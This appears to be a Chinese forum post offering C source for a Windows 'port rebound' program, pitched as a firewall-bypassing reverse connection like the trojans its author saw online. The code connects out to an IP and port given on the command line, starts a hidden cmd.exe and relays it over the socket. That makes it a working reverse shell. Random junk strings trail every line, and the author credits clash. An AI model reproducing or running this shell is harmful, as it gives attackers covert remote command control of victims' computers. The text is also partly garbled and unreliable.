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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #YK5WTn5  
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/* ============================== 'q{733o  
Rebound port in Windows NT Vrp[r *V@E  
By wind,2006/7 'C>U=cE7  
===============================*/ ^p=L\SJ  
#include KQ`=t   
#include ||eAE)  
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#pragma comment(lib,"wsock32.lib") R_kQPP  
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void OutputShell(); s;1h-Oq (  
SOCKET sClient; :&w{\-0{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jbte *Ae  
n$["z w  
void main(int argc,char **argv) %y<]Yzv.  
{ jirbUl  
WSADATA stWsaData; glUo7^ay7  
int nRet; nH[+n `{o  
SOCKADDR_IN stSaiClient,stSaiServer;  ux-CpI  
* fc-gAj  
if(argc != 3) c&'JmKV>&  
{ %f ju G  
printf("Useage:\n\rRebound DestIP DestPort\n"); z#Nl@NO&  
return; F n|gVR  
} ]v29 Rx  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =f7r69I"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R;}22s  
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stSaiClient.sin_family = AF_INET; =A!S/;z>  
stSaiClient.sin_port = htons(0); [L~@uAMw:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K%j&/T j1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -kj< 1~YW  
{ b~0N^p[&%  
printf("Bind Socket Failed!\n"); r)T[(D'Tm-  
return; zO=%J)-=  
} 'vIx#k4D1  
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stSaiServer.sin_family = AF_INET; Nt-<W+,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lmCZ8 j(FF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pwX C  
Z)"61) )  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t+TYb#Tc  
{ `\Unpp\I  
printf("Connect Error!"); s8gU7pT49  
return; 0b|zk <  
} >G"X J<IO  
OutputShell(); Y}STF  
} cO#oH2}  
*r,b=8|  
void OutputShell() % _M2N.n  
{ wts:65~  
char szBuff[1024]; +cB&Mi5  
SECURITY_ATTRIBUTES stSecurityAttributes; >cR)?P/o  
OSVERSIONINFO stOsversionInfo; 3OqX/z,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XvGA|Ekf<  
STARTUPINFO stStartupInfo; ]!{y a8  
char *szShell; K k[`dR;  
PROCESS_INFORMATION stProcessInformation; @y|_d  
unsigned long lBytesRead; -X1X)0v$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9w4sSj`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cma*Dc  
stSecurityAttributes.lpSecurityDescriptor = 0; -$a>f4]  
stSecurityAttributes.bInheritHandle = TRUE; 0@=MOGQb  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F} DUEDND*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eiMH['X5  
6[dur'x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #`SD$;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w~\%vXla  
stStartupInfo.wShowWindow = SW_HIDE; JBX[bx52<r  
stStartupInfo.hStdInput = hReadPipe; dZ(|uC!?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4dh+  
8<#U9]  
GetVersionEx(&stOsversionInfo); vK'?:}~  
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switch(stOsversionInfo.dwPlatformId) 2j&@ p>  
{ K%g;NW  
case 1: )@g;j>  
szShell = "command.com"; 2XSHZ|;  
break; e$/B_o7(  
default: 0Bolv_e  
szShell = "cmd.exe"; XSRdqU>Aun  
break; X" R<J#4  
} mxG]kqi  
9@VO+E$7L  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3.R#&Zxt  
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send(sClient,szMsg,77,0); ' [0AHM  
while(1) d]v+mVAyE  
{ +V(5w`qx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I=Zx"'Um  
if(lBytesRead) )9j06(<A  
{ -pb&-@Hul  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %!j:fJ()  
send(sClient,szBuff,lBytesRead,0); [J#1Ff;  
} Bx~[F  
else Ubz"rCjq  
{ %b!-~ Y.  
lBytesRead=recv(sClient,szBuff,1024,0); 2z0n<`  
if(lBytesRead<=0) break; C?Zw6M+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Sr.;GS5i  
} U]4pA#*{|  
} yfNX7  
l:(Rb-Wy  
return; iZ,YxN<R  
}
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